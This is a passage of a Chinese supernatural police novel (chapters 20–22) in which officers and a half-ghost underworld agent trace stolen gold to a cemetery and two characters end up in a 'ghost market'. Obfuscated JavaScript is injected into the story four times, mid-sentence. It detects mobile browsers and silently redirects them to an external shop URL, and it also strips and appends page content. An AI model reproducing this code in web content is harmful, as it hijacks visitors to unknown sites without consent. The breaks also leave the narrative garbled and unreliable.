“谁有狙击步枪?换一下!” “……” 张小曈走到柜台前,敲了敲玻璃,“老板,跟你打听个事儿?” 男人头也没抬道:“等会儿啊,我先打完这一把。” “我射击贼溜,不然我帮你打?”张小曈没生气,笑嘻嘻开口。 “看不起……谁呢,嗯?”男人猛地抬头,双眼都被一个小小的证件照夺去了全部注意力,一时间手指停下,没有动作。 “砰!” 手机上游戏画面变灰,传来一道机械的女声:游戏人物已经死亡。 张小曈又将警察证往他面前推了推,“看来不需要我帮你打了。” 男人立马将手机放下,顾不得队友传来的愤怒与咆哮,“你他……”他直接将手机音量键按到底,清净了。 随后,凌初就看到刚刚还一脸不耐烦的老板直接上演变脸,半是谄媚半是讨好道:“警察叔叔,找我有什么事儿啊?” 看来是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16981615|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很紧张,都口不择言了。 “叫同志!” “哦,警察同志,有什么事呀?我这儿都是合规经营的,什么手续都有。”老板脸色通红,豆大的汗珠从头上冒出来。 张小曈收了警察证,拿手机给他看了几张图片,问:“近期有没有人过来卖这种金饰?” 老板凑近屏幕,摇了摇头,道:“没有。我也不爱收这东西,弄得花里胡哨的,忒麻烦!” 但在张小曈翻到某一张图片时,他定睛一看,“哎”了一声。 “怎么?你见过?”凌初问。 老板猛点头,“这个是百货商场二楼那家的东西吧?”他随时问句,但接着又自问自答:“一定是,他家的东西都有一个特殊的标记镶在金饰上,不仔细看很难注意。这右下角凤凰的弧度,肯定是他家没错!” 然后他像是发现什么惊天大秘密一般,贼兮兮地问二人:“警察同志,你是不是在找失窃的金饰啊?小偷都抓住了,赃物还没找到吗?” 张小曈把手机一收,警告似的说了句:“不该问的别问,这是我们分局电话,有情况就打电话。”她随身掏出纸笔,写了一串号码递给老板。 “好好好!”老板收好纸片,连说了三个好字,眼中精光闪闪。 凌初动了下手,在此处留了个印记,只要沾染到恶鬼气息的金饰一进门,她立刻就能发现。 铺子老板亲自把张小曈和凌初送到门外,“警察同志放心,我一定注意着。” 张小曈却看着距离他们十米远的年轻小伙儿,小伙用黑布袋提着东西,沉甸甸的,偶尔透出微弱的、金灿灿的光芒。 是金子?/有警察! 小伙儿对上张小曈的眼神,脸色一变,转身拔腿便跑。 人一跑,警察就想追,这是职业本能。 “站住!别跑!”张小曈一个箭步就冲上去,跟在小伙身后紧追不舍。 凌初心道不好,跟老板说了“有事联系我们”后也追了上去。 老板揉了揉眼睛,“是我眼花了吗?我怎么感觉她在飘呢?” 年轻人之所以称为“年轻人”,一是因为年纪小,二是因为体能强。小伙儿跑得飞快,眨眼间便跑过两个路口,直冲城中村而去。 张小曈不遑多让,健步如飞。想当年她的跑步成绩可是霸榜了学校女子组四年,区区一个小毛贼,绝不能让他跑了! 眼看小贼就要进入城中村,张小曈急中生智,从口袋里掏出中午剩的苹果,站定瞄了瞄准头,“咻”一下扔出去。 又圆又大的红苹果以一个极其完美的抛物线,“砰”的砸到小伙儿头上,他一个踉跄,撞到一颗歪脖子树上。 张小曈急忙跑过去,熟练地拿出手铐,“咔哒”一下,拷住小贼的一只手,另一只手铐拷到自己手上。她气喘吁吁道:“跑啊?不是挺能跑的嘛?继续跑啊?” 这时,凌初从城中村小巷中走出来,捡起小伙儿丢下的黑色布袋,还未打开就闻到了贪财鬼的气息,果然是他! 她扶起张小曈,顺便把苹果捡了回来,可不能浪费粮食! 小伙儿满脸惶恐,没等张小曈问话,就自爆出来:“这金子不是我偷的,是我捡的!你们不能抓我!” 凌初没说话,张小曈就道:“你说是你捡的就是你捡的啊,证据呢?再说,捡的就说明不是你的东西,拾金不昧是中华传统美德,懂?” 20. 清明假期第一天 “懂?” 小伙儿犹如霜打的茄子,肉眼可见的蔫儿了。 张小曈立刻跟陈遇打电话,“陈队,抓到一人正准备倒卖金饰,其中就有百货商场那家的金饰。” “好。我马上回局里。” 张小曈和凌初一左一右站在小伙儿身边,三人一道往红旗分局走。路上有人指指点点,小伙儿本就瘦弱,如今更是羞愧地低下头,夹在两人中间,亦步亦趋像个小鸡崽儿。 …… 讯问室里,办公桌上金光闪闪。 陈遇打开门进来,坐到张小曈旁边。看了眼面前的小伙儿,个子不高,很瘦,明显有些营养不良。 “姓名?” “李淼。” “哪个‘miao’字?三个水?” 小伙儿点头。 “年龄?” “十八。” 旁边记笔录的张小曈抬头看他一眼,撇了撇嘴,充满怀疑道:“你有十八吗?这么矮!”刚说完就被自家队长瞪了一眼,她尴尬地摸摸鼻子,然后将手指放到键盘上,调取李淼的身份信息。 陈遇看着电脑屏幕,继续问:“家里还有什么人?” “我是孤儿。”李淼头垂得更低了,下巴都已经挨到胸口。 从陈遇和张小曈的方向看过去,只能看到一个毛茸茸的发顶,颜色枯黄,发质很差,像一把干草堆成的鸡窝。 “李淼!抬起头来。”陈遇喊了一声,男孩儿猛抬起头,像个受惊的小动物,随即又很快低下去。 “这些金饰是从哪里得到的?怎么得到的?” 李淼不答。 陈遇用眼神示意张小曈,张小曈会意,“咳!”,她清了清嗓子,“李淼,如果你不交代金饰是哪里来的,那么你将涉嫌掩饰隐瞒犯罪所得等罪名。你已经成年了,检察院、法院量刑也就不需要对你从轻处罚,难道你真的想蹲监狱?” 李淼整个人缩在白炽灯下,身形佝偻,他双手握拳,盯住面前的一小块阴影。 “……”张小曈向陈遇摊手。 陈遇看着电脑屏幕上和李淼相似的两张脸,忽然福至心灵,道:“李淼,你知道后天就是清明了吗?”见男孩儿依旧没有反应,他继续说:“清明祭祖,我们的传统就是这一天给去世的亲人们燃香烧纸。如果没有活人祭祀,那他们在下面的日期是不太好过的。” 李淼缓慢地抬起头,眼中噙着泪花,“真、真的吗?” “……对。”陈遇是个坚定的唯物主义者,但经过早上这一遭,他觉得这个世界其实是有一些用科学无法解释的东西存在的。 张小曈睁大了双眼,队长竟然明目张胆骗小孩儿啊?! “我、我是在……”李淼嗫嚅着开口。 陈遇倒了杯水给他,“别急,慢点说。” 他喝了口水,然后交待自己是怎么得到这些金饰的。 结果出乎所有人的意料,李淼竟然是在墓地捡到的黄金! 陈遇得知消息的一瞬间就觉得他是在撒谎,墓地怎么能捡到黄金呢?又不是哪个达官贵人的古墓,就一偏僻的陵园,结果捡到了黄金。 张小曈嘴巴张成一个大大的“O”形,我刚听到了啥?逛墓地能捡黄金?!她非常不服气,人都说上班如上坟,她上下班路上连一毛钱都没捡过,倒是丢过十几块钱,可恶!!!要不,我也去找个陵园逛逛? 案件忽然往不可名状的方向发展,陈遇及时拉住缰绳,拽回张小曈天马行空的想象力。 “李淼,我们会去你说的陵园核实。这几天,你就先呆在这里,有什么需要跟这位阿姨说。”陈遇说完就开门出去。 “!!!”我不是阿姨!张小曈转身对着李淼,狠狠握拳,皮笑肉不笑道:“不准叫我阿姨!叫姐姐,听到没?!” “嗯,警察姐姐。”李淼乖巧回答。 “哼!算你识趣!走吧,我带你去吃饭。”张小曈给李淼解开讯问椅,二人一同往食堂走。 红旗分局的食堂不太大,只有六张桌子,每张桌子可坐六人,最多容纳三十六人。但也足够了,一来不是所有人都会来食堂吃饭,二来干警们大都在外面飘着,天天按时上下班的,很少。最重要的是,食堂没地方坐了,还可以把饭端回座位上吃嘛。 今日食堂人不多,张小曈领着李淼,打过饭后坐到凌初旁边。 “事情弄清楚了?”凌初问她。 张小曈把餐盘里的鸡腿给李淼夹过去,“没呢!陈队要去看一下陵园监控录像。” “陵园?” “对哇!这小孩儿说他是在陵园捡到的黄金。”张小曈指了指身旁埋头大吃的李淼,“凌初姐,你说惊不惊讶?” “哦——”凌初意味深长答了一句,没想到贪财鬼竟然把黄金藏到了墓地,那……“你叫李淼,是吧?”她问男孩儿。 “嗯嗯……”李淼嘴里嚼着东西,点头应了。 “捡到黄金后,有没有做噩梦?或者说,有没有梦到人让你给他烧纸钱?” “啊?”张小曈疑惑,凌初姐怎么会这么问? 李淼愣了,嘴里塞满饭菜,两颊撑得鼓鼓的,一手拿着筷子,不知该干什么。 “有吗?”凌初又问了一遍。 李淼摇头,他昨天想去看一下父母,才去了陵园,没想到走了狗屎运,遇到那么一大包黄金饰品。秉着有便宜不占是王八蛋的原则,他把这包金饰拿走了,结果今天刚想出手,就被抓到这里来了。 李淼心中默默流泪:天上果然不会掉馅饼。 差点儿就要铁窗泪了! 没有吗?那是为何?凌初捉摸不透贪财鬼的用意。 李淼的饭量震惊了凌初和张小曈,足足吃了三大碗米饭才恋恋不舍停下。要不是张小曈看他肚子都鼓起来了却还在往嘴里塞东西,急忙制止他,“别吃了别吃了,明天还有饭!” 可别给撑死了啊。张小曈一脸担忧,准备去法医室问问霍熹有没有消食健胃片。 刚起身就看见霍熹大步从门外进来,一身白衣,站在食堂分外扎眼。 她噔噔噔跑过去,仰起头问:“霍熹姐,你那儿有消食健胃片不?” “……”霍熹似笑非笑,“我是法医,不是内科医生。”见张小曈拿出手机准备买药叫外卖,霍熹伸手挡住了手机,“你吃多了?” “不是,有个小孩儿,喏,就那边。”张小曈指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995154|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着凌初和李淼的方向。 李淼看了一眼霍熹后又低下头,凌初冲她招了招手。 霍熹微笑颔首,随后俯身在张小曈耳边低语,张小曈一听,脸上表情都绷不住了,这也太损了叭,不行不行!虐待小孩的事儿不能干。 “谢谢霍熹姐,但大可不必。”张小曈连连退后好几步,迅速转身,拉着凌初和李淼就走!活像身后有鬼追着。 “呵!” …… 清明三天假期,有的人休三天,有的人休两天,有的人休一天。 还有的人,清明节没开始休假就已经被领导提前预约了这三天的时间,红旗分局刑警大队的队员们看到手机群里陈遇的通知消息后,个个如丧考妣、悲从中来。 清明节假期第一天,张小曈怒捶办公桌,“啊——我的假期!” “啊——阳春三月,杨柳依依;如此美景,乐兮爱兮;不能赏之,我心悲戚!”李善言紧随其后发表加班感言。 赵凭跃鼓掌,“好诗啊好诗。” 凌初正要说话,看到陈遇从办公室走出来,立刻闭上嘴。 陈遇冷冷一笑:“诗作早了,还没到三月呢!” 李善言:“……”我作的是诗吗?!我明明是在给我消失的假期唱一曲挽歌!诗歌也是歌! “行了,别贫了。”陈遇一拍他肩膀,“走,跟我去陵园看看。” “就我吗?”李善言指指自己的鼻子。 “哦,还有一个。”陈遇道。 “谁啊?” “李淼,走了!”陈遇扬声,李淼从值班室里出来。 “兄弟姐妹们,我,这就去了,从今以后……”李善言还没表演完,脖子被陈遇锁住,直接拖走。 “废话这么多。” 剩余三人:“……”真是个活宝! 三人各自整理手边资料,凌初盯着昨晚上外勤人员拷贝的二手黄金交易店铺的监控录像看。 她看监控的速度极快,堪称是十倍速观看,一个小时就看完了七家店铺十几个小时的录像,并且挑出三名可疑人员。 张小曈使用技术手段将这三名可疑人员的录像截图尽可能恢复清晰,以便根据样貌通过公安内网系统识别查找他们的身份。 二十分钟后,三名可疑人员的身份信息已经明确,赵凭跃带上另外几个值班人员前去抓捕。 张小曈在分局提供技术支持,凌初心不在焉地想:清明啊,百鬼夜行,阴司又要加班加点了。 历来清明(公历4月5日左右)、中元(农历七月十五)、寒衣(农历十月一)三大鬼节,都是阴司最最忙碌的时候,一方面要接收阳世活人烧给去世亲人的钱财和礼物,另一方面又要安排部分表现良好、即将转生的鬼魂回家团圆,同这一世的亲人最后相聚。 但是,鬼魂多了,什么样的都有。 每年总会有一些个不服管教、惹是生非的鬼魂,妄图滞留阳世。 这时候,阴司就会派出拘魂使,再拘一次魂。不知今年,情况如何? 正想着,凌初识海一炸,李善言惊慌的声音令人头皮发麻。 “凌顾问,救命啊,我们好像撞鬼了!!!” 21. 出bug了 半个小时前,陈遇一行人来到李淼捡到黄金的福泰陵园。 福泰陵园在新城已有几十年的历史了,是新城市第一批建造的“园林式”墓园。 时过境迁,墓园发展了几十年,除了环境不错,其他相关设施都很陈旧了,早已不是现在逝者亲属的首选陵园。 因此,这陵园虽然离市区比较近,但并没什么人过来。旁边有两三家卖寿材的店铺,也是冷冷清清的,门口放了几个花圈和纸扎。 李淼鼓起勇气对着陈遇道:“警察叔叔,我想跟你借30块钱,买点线香和金元宝给我父母,行吗?” 陈遇给了他50元,“多买点吧。” “谢谢!”李淼接过钱,就进了一家铺子,没一会儿便提着一兜东西出来了。 李善言瞥了一眼,东西不多,种类丰富。那一兜里有线香,有金银元宝,还有黄纸。李淼倒是没买那些花里胡哨的冥币和塑料花,小伙子作风还挺老派的。 跟看门的大爷打了声招呼,大爷特意强调一定要等火熄灭了再离开,三人点头表示明白,然后就进陵园了。 陵园内,松柏苍苍,环境清幽,偶尔传来几声清脆的鸟鸣。 李淼熟门熟路走在前面,陈遇和李善言跟在他身后。 道路两侧,墓碑矗立。一路走过来,墓碑上的照片各式各样,或苍老、或年轻,或哈哈大笑、或严肃正直,有的照片受风吹雨打,已经泛黄,逝者的样貌都看不分明了。 有的墓碑前干干净净,供奉上了瓜果鲜花,还有香火和纸钱燃烧后的痕迹;有的墓碑前空荡荡的,落上了一层厚厚的灰尘,大约是无人祭拜了吧。 李善言起初还十分有兴趣地观察着逝者的名字,偶尔遇到几个特别的还会跟陈遇说一下,结果路越走越偏僻,墓碑也越来越简单,甚至由大理石变成了木制的牌子。 李善言看着眼前成片的小土堆,发觉他们已经来到了陵园边缘,这些小土堆就是一个个坟包,是附近村民自发安葬的,并不属于福泰陵园管理。 他这才惊觉不对劲,明日是清明,为何没有鬼魂前来受祭?不说有名有姓的鬼魂,连个游魂野鬼都没有,这太不正常了! 李善言顿时警觉起来,妈耶,不会是阴司逃出的恶鬼设下来的陷阱吧? 我可是警察!恶鬼是近不了我身的!李善言开始给自己洗脑,我不仅是警察,我家还是吃阴间饭的,不能怂! 陈遇感受到李善言情绪不太对劲,“你怎么了?” “啊?陈队,我没事儿啊,就是有点儿冷。”李善言强颜欢笑,牙齿打了个冷颤。 陈遇看他拿手裹紧外套,没说话。 “到了。警察叔叔,就是这里。”李淼停在一个坟包面前。 陈遇走到他旁边,抬头环顾,发现坟包东面恰有一个陵园的摄像头对着这里,只要去调一下监控录像,就能知道李淼话中真假了。 “你父母的墓在哪儿,我们去祭拜一下。” “好,这边。”李淼继续往西走。 陈遇朝后面喊了声:“李善言,跟上!” 李善言大声回:“知道了,陈队。”刚走了一步,身边顿时阴风大作,“陈队——”三百六十度环绕音响在他耳边,有男有女,声音飘忽,“陈队——” “啊啊啊啊啊!有鬼啊!”李善言大叫,准备去找自家队长,结果刚抬头,白雾就弥漫开来,陈遇的身影已经不见了。 “!!!陈队!你在哪儿?”李善言慌了,“李淼?陈队?”他像个无头苍蝇似的走了两圈,猛地脚下踢到一个东西,圆圆的,李善言停下,壮着胆子蹲下,用手去摸,摸到一个光滑细腻的圆形物,再往下一探,感受到了两个大窟窿,“!!!”不会真的是人体头骨吧? “罪过罪过!对不起对不起!”他站起身双手合十,不知打哪儿来一身牛劲儿,一脚把那圆形物踢了出去! 一口气还没来得及喘匀,耳边就听到“公子,您把奴家踢疼了啊——” 李善言一个激灵,立刻挥手乱打一通。电光石火间,两指并拢,敲击太阳穴,崩溃道:“凌顾问,救命啊,我们好像撞鬼了!!!” 凌初整个人都麻了,这两天怎么竟是活人撞鬼?虽说清明正是鬼魂四处游荡的时节,但被活人撞到的频率也太高了些。 阴司的纪律呢!制度呢!效率呢!办差的呢! 识海中又传来李善言一声尖叫,凌初不再耽搁,跟对面说:“小曈,我去外面吃个饭,你想吃啥?给你带过来。” “人民路中段蔡记麻辣烫,糖醋口味的,不要黄豆芽,加片烩面!”张小曈快速道。 “好!”凌初离开。 刚出分局大门,凌初开口问:“小李子,你们人在哪儿?” “……福泰陵园。”李善言停顿了一瞬,紧接着快速道,“啊啊啊,凌顾问你快来啊!”他的声音有点喘,像是在奔跑。 “莫急,就来。”凌初双手结印,默念:“幽冥有路连八方,移形换影瞬息现!去福泰陵园。” 这是阴司鬼差们最常使用的瞬移口诀,一个呼吸间便可到达目的地。此口诀对魂体没有任何影响,但是对凌初现在半人半鬼的身体来说,使用之后有没有后遗症尚未可知。 但凌初也顾不上那么多了,念完口诀后,面前空间扭曲,前方出现旋涡装的波纹,她走进去,身形隐匿其中。 福泰陵园门口,空间又是一阵扭曲,凌初的身影显现出来。 她刚站定,就感受到了浓厚的恶鬼气息,是阴司十八层地狱的恶鬼! 凌初随手施了个诀,隐匿了身形,径直走过陵园大门。 结果还没进入陵园,就被看门的大爷止住,“哎哎哎!那小姑娘,干什么的?” “……”???我隐身术法不管用了? 凌初赔笑:“大爷,我来给亲人烧纸。” 大爷绕着她转了一圈,摸了把胡子,用一种非常自信的语气肯定道:“你不是来烧纸的!” “……”难道阳世看守陵园的大爷也这么深藏不漏? “那我不能让你进去。” “???”凌初不解,“那怎么才能让我进去?” 大爷这时候眼冒精光,若有所思道:“你手上连个香火元宝都没有,叫我怎么相信你是过来祭拜亲人的?!” 呵呵!原来在这儿等着她呢! 这纸钱,我敢烧,它们敢收吗?凌初心想,但面上不显,继续问:“大爷,你说哪家的香火好?” 大爷眼睛骨碌碌一转,超级假装不经意道:“第二家吧。” “行!” 凌初进了第二家寿材店的大门,直接买了一百块的金元宝,老板是个年纪很大的婆婆,专门给她拿了一个超大的袋子装着。 凌初笑眯眯来到大爷跟前,“大爷,现在我能进去了吗?” “哦,进去吧进去吧。”大爷假装矜持,实则嘴都笑得合不拢了。 凌初提着金元宝走进陵园,耳边还能听到大爷邀功似的嗓音,“妈,我就说今天有大单吧,是不是?” “是是是,你最机灵了……” 凌初心情复杂,表孝心的是大爷你,钱包受损的是我啊。 凌初循着李善言的气息找过去,“西边!” 李善言蹲在一棵树下瑟瑟发抖,耳边是源源不断的女子调笑声,眼前灰蒙蒙的一片,视野受限。 “凌顾问!凌顾问?阴差大人?凌初?”他不断在脑海中呼喊凌初,可惜都没得到回应,“不是吧,这不是神识印记吗?也能掉线?” 他默默吐槽阴司出厂的品控,一抬头,发现不远处好像有一坨影子越走越近,“什么东西啊?” 李善言紧紧盯着那一坨东西,直到影子越来越清晰,他腾地站起来,背后冷汗刷一下浸透了衣服,不是?那塑料袋里是金元宝吧?老天爷,这年头塑料袋能凭空漂浮?还是鬼魂能自己买元宝啦? 不管此情此景属于上述哪个情况,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011632|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果都非常显而易见,不正常!很不正常! 眼见一兜子金元宝离他越来越近,他立刻跑远了,小命儿要紧!但他忽略了另一件事,就是随着元宝的靠近,耳边女子的声音,渐渐没了。 凌初莫名其妙看着李善言逃跑,“这小子咋回事儿?怎么见到我就跑?”她连忙追过去。 他逃,她追,他插翅难飞。 李善言被一兜金元宝逼到了角落,举着捡起的树枝,对着元宝欲哭无泪:“何、何方鬼怪,还不快快现行!” “傻小子,我是凌初啊。”凌初的声音颇有些无奈。 “啊?凌、凌顾问,你隐身了?”李善言手中的树枝仍未放下。 凌初也反应过来,难道隐身诀又管用了?她把刚才在陵园门口的情况跟李善言说了。 李善言这才放下“武器”,喃喃道:“哦,这不就是出bug了?!” “bug?什么意思?” 李善言被迫给面前的“老古董”阴差解释了下计算机专业术语——bug的意义。 “哦——”凌初恍然大悟,默默点头,随后意识到李善言看不见自己,又说:“对,就是出bug了。”说完才发觉一个很严重的问题,肃然道:“陈遇和李淼呢?” 这可就说来话长了。 阴风刚刮起的时候,陈遇眼疾手快抓住李淼的手腕,一阵天旋地转后,两人站在一处高耸的大门前。 大门最上方挂了一副巨大的牌匾,上书“鬼市”。 “鬼市?”陈遇拧眉。 李淼紧张地结巴:“警、警察叔叔,这是哪里啊?” “鬼市。还有,我叫陈遇。”陈遇看向四周白茫茫的一片,没有人或物的影子,似乎只有推开眼前这道门一条路可走,但贸然进去,会不会出什么意外? 正想着,眼前大门像是知悉他脑中所想,竟然自动缓缓打开了。 “!!!”李淼被吓了一大跳,丢下了手中的香火、元宝,两只手抱紧了陈遇的胳膊,几乎马上要哭出来,“陈叔叔——” “……”陈遇默默拾起香火和元宝,看向门内,也是白茫茫的一片。不管怎么着,都是要走这一遭的,他拖着李淼,向前一步,“我们走。” 一进入鬼市,耳边瞬间变得吵吵闹闹的,各种方言夹杂在一起,陈遇甚至还听到了鸟鸣声和兽吼。 定睛一看,两名活人的世界观崩塌了。 面前是一条长长的街道,两侧商铺林立,不是现代的高楼大厦,而是古装剧中的阁楼木屋。各色各样的“人”来来往往,如果不是因为他们都是飘着的,陈遇恍惚以为自己来到了古装剧片场。 这就是鬼市? 李淼一个转头,看到一个毛茸茸的鸟头,登时白眼一翻,晕了过去。 陈遇揽住他身子,一看旁边,心脏砰砰直跳。 鸟头并不可怕,但鸟头人身就有点恐怖了。人身并非完全,状若人脸的鸟头上有长长的鸟喙,再加上两条毛胳膊,鸟爪站地,简直是《西游记》电视剧中的鸟妖在世! 陈遇狠狠咽了口水,难道妖魔鬼怪都是真的吗? 偏偏那鸟脸冲他看过来,口吐人言:“刚死的新鬼?第一次来鬼市?要不要我给你当向导,一个金元宝就行。”又圆又小的鸟眼直勾勾盯着陈遇另一只手的元宝,脸都要贴上去了,陈遇甚至能看到它脸上的羽毛泛起五彩光芒。 他低头看,自己的双脚果然是飘在地上。别说,这种轻飘飘的感觉还挺特别。 “向导吗?”陈遇看着鸟脸,难道我死了?但死了的话,这兜元宝怎么会跟我一起过来?有人做坏事? 他拿出一个金元宝,在鸟脸前晃了晃,道:“可以。但现在先带我们找一个休息的地方。” “成交!”鸟脸喜滋滋接过元宝,“我叫孔鸣,生前是孔雀,近年才修炼出人形。二位贵姓?人族?” “……对。我叫陈大,这是我弟弟陈二。”原来是公孔雀,怪不得五彩斑斓! 22. 路边的“钱”不要捡 “哦,陈大,那跟我来吧。”孔鸣率先往前走,陈遇背上李淼紧随其后。 “孔……先生?这鬼市是什么地方啊?”陈遇斟酌道。 “害!别客气,叫我‘孔鸣’就成。鬼市就是鬼市啊。” “……”陈遇无言,天呐,我竟然试图跟一只孔雀妖打听信息?!听说鸟类都是直肠子,脑回路竟然也不拐弯?! 他犹不死心,“我是问,鬼市是怎么来的?谁建立的?干什么的?是所有的鬼都可以来吗?” 孔鸣用它不太大的脑仁想了想,勉强理解了陈遇的意思,接着道:“具体是怎么来的我也不清楚,各地鬼市都不太一样。据说每一个鬼市,背后都有一个神秘人物,可能是修为高深的鬼修。”说完它的声音又低下去,“也有鬼说,鬼市背后是掌管幽冥界的各位鬼神!” 孔鸣把毛手凑到嘴边,鸟嘴舔了舔羽毛,然后说:“至于是干什么的?主要用于交易。你有想买的东西,他有想卖的东西,可以拿钱买,也可以物易物。” 黑市?陈遇如此想。 谈话间,孔鸣带着陈遇、李善言来到一处不起眼的屋子前,它推开门,“二位先在我的住处待一下吧。” 败絮其外,金玉其中——陈遇。 小时候看动物世界,鸟类学家说鸟类是极度的“外貌主义协会成员”。自然界中的大部分雄鸟都依靠艳丽的羽毛吸引雌鸟,雄鸟之间的求偶斗争十分像“斗舞”,看谁的羽毛更华丽,谁的舞姿更优美,谁更能赢得雌鸟的芳心! 眼前孔鸣的住处从外面看就是个破败的茅草屋,没想到内里别有洞天。 脚下地板由方方正正的白玉铺就,玉质莹润有光泽;最中间有一个又大又圆的鸟巢,掺杂着梧桐枝、黄金和各色宝石,以人的眼光来看,没有丝毫美感,却足够光彩夺目;头顶上整整齐齐排列着拳头般大小的夜明珠,幽幽散发着光芒。 此外,墙角堆积着各色珊瑚、珠贝、翡翠之物,简而言之就两个字——奢华! 孔鸣看到陈遇瞪大的双眼,十分满意,果然被我的屋子惊艳到了叭。它装模作样请陈遇二人进门,随手幻化出一张软榻和一副桌椅,殷勤道:“陈大,把你弟弟放床上去吧。” “好。”陈遇将李淼放在榻上,刚起身,就见一床羽毛被自动盖在了他身上。 对上孔鸣的视线,它嘿嘿一笑,“不用谢。” 陈遇颔首,被孔鸣引手坐下。 一人一妖相对而坐,两盏清茶凭空出现,孔鸣端起杯子,“这是凤凰醴泉[13]泡的茶,很好喝,你尝尝?” 凤凰?醴泉?传说凤凰非梧桐不止,非练实不食,非醴泉不饮,难道真的存在凤凰这种生物?那龙是不是也存在呢? 没等陈遇开口,孔鸣像是了解其心中所想,解释道:“我并未见过凤凰。这水味道甘甜,老板便称之为‘凤凰醴泉’,目的是为了卖个好价钱!” “……”这老板该不会就是你这个孔雀妖叭?! 孔鸣冲他得意地挑了个眉,意思不言而喻:快夸我!速度! 陈遇脑中莫名出现凌初的狗腿模样,艰难地拍了个马屁,“哈哈哈,这醴泉果然名副其实,甘甜得很!老板真有眼光啊,哈哈哈……” “唉,好说好说。”孔鸣假意“谦虚”道:“好喝就多喝点啊。” …… 眼下凌初并不狗腿,狗腿的另有其人。 李善言跟在凌初屁股后面,不停地道歉,“凌初姐,我是真的不知道发生了什么事情啊?就一阵阴风刮过,陈队和李淼就不见了啊,然后我就遇上了你……” 凌初猛然停下,跟屁虫一惊,差点儿撞上她的背,连忙刹住腿。 凌初回头道:“不是我说,你家里既然是道士,就没学上一丢丢的道法嘛!啊?”这家伙到底搞没搞清楚重点啊,现在当务之急是找到陈遇和李淼,否则离魂太久,人就真没了啊!!! 等等,离魂?那他们身体呢? 李善言自知理亏,没敢说话。 凌初双手翻飞,快速施了个诀,随即整个陵园的场景出现在脑海中,她目光一寸寸搜寻,没有发现陈遇和李淼的身体。也就是说,这两个人,并非离魂。 那人去哪儿了? 凌初又呼叫崔珏神识,“崔判?崔判?” “……”没有回应。 不是吧?又遇上阵法了? “孟姐?孟姐?”她又换了个鬼神联系,这回是孟婆。 “怎么了?大闲鬼。唤我何事?”孟婆慵懒的声音传从轮回司遥遥传来,语调婉转,听得凌初直接起了一身鸡皮疙瘩。 “……呃,孟姐,阴律司是出什么事了吗?我刚没联系到崔判。” “哟!小家伙懂得关心领导了啊。”孟婆阴阳怪气,凌初默不作声。 孟婆很意外,这厮竟然没顶嘴?“无趣!傻子,崔珏可是阴司四大判官,智勇双全的人物,谁能让他不好过?便是我和十殿阎罗对上他,也不能全身而退。别担心了,他去十八层地狱了,信号不好。” “……哦,多谢。”凌初松了口气。 “还有事?没事我就……” 凌初直接打断孟婆,“有事有事有事!” “说。” “孟姐,我想问,活人有可能进入幽冥界吗?不是魂体状态,而是以活人的身体。” “你在人间待傻了吧?活人身体怎么可能……哎?难道是去了那个地方?”孟婆的声音不自觉扬起。 “哪里?” “鬼市。阴阳交界之地,有活人,有鬼魂。但这地方,除了找到入口进去,别无他法。” “入口怎么找?”凌初急匆匆问。 孟婆摊手,“我怎么知道?鬼市千千万,每个入口都不一样,我仅仅就知道几个鬼市的入口而已。” “这样啊,那我该去问谁?”凌初迷茫了。 “嗐,鬼市在哪个地方,当然就去问那个地方的鬼啊。” 一语点醒梦中人,凌初迅速道:“谢了,孟姐。改日请你吃饭。”然后断了神识联系。 凌初这“用完就丢”的态度转变之快让孟婆都没来得及回神,她满不在乎“切”了声,“……谁稀罕你的饭?我又不是豹尾那个贪吃的家伙!” “阿嚏——”豹尾打了个喷嚏,哪个家伙刚说我坏话了?他懒洋洋躺在猫窝里,翻了个肚皮,继续晒太阳。啧,这日子,比在阴司舒服多了! 说干就干,凌初立刻着手准备召集此处孤魂野鬼。 “荡荡游魂,何处留存;阴司有令,诸鬼现形!”[14]凌初的声音肃穆苍凉,念过口诀后,面前无端起了一阵青烟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079700|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青烟散后,什么也没有。 